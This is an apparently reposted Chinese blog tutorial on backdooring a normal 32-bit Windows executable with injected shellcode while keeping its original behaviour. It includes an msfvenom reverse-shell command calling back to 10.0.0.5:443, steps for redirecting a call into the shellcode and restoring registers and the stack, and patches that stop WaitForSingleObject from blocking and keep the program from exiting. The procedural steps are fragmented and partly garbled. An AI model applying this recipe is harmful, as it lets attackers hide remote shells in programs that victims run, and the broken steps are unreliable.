本文共 1284 字,大约阅读时间需要 4 分钟。
在文章中介绍了一种在正常程序中注入shellcode的方式,让程序以前的逻辑照常能够正常运行,下面复现一下并解决几个小问题。
这里直接编译一个32位的HelloWorld程序为例:
#includeint main(){ puts("Hello World!"); return 0;}
编译后的exe,可以使用CFF Explorer
查看相关信息。
少绕弯子,补充一下通用步骤:
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
0x004A0000
call 0x00471B50
,覆盖成jmp 0x004A0000
0x00491EF8
,后面恢复程序正常逻辑的时候要用pushad
和pushfd
指令覆盖开头2个字节pushfd
之后的ESP
值,例如0x010FFDBC
,以及shellcode执行结束时ESP
值,例如0x010FFBB8
,发现少了0x204
add esp, 0x204
popfd
和popad
指令,和push
顺序相反popad
之后jmp 0x00491EF8
指令,跳到第7步记录位置注意三点:
通过调试将发生阻塞的操作进行nop,例如WaitForSingleObject
,msf
的payload需要将4e 56 46 ff
替换成80 56 80 ff
原来给WaitForSingleObject
传的参数是-1
,会阻塞线程,想办法改成0就行,这里将dec esi
操作nop
掉了,push esi
就是0
应该是检查服务端失联的情况下直接终止程序了,通过调试找到终止位置nop掉即可
除了参考文章中提到的通过文件偏移计算,还可以直接利用x32dbg的内存布局直接查看
省略。。。
转载地址:http://ghlyz.baihongyu.com/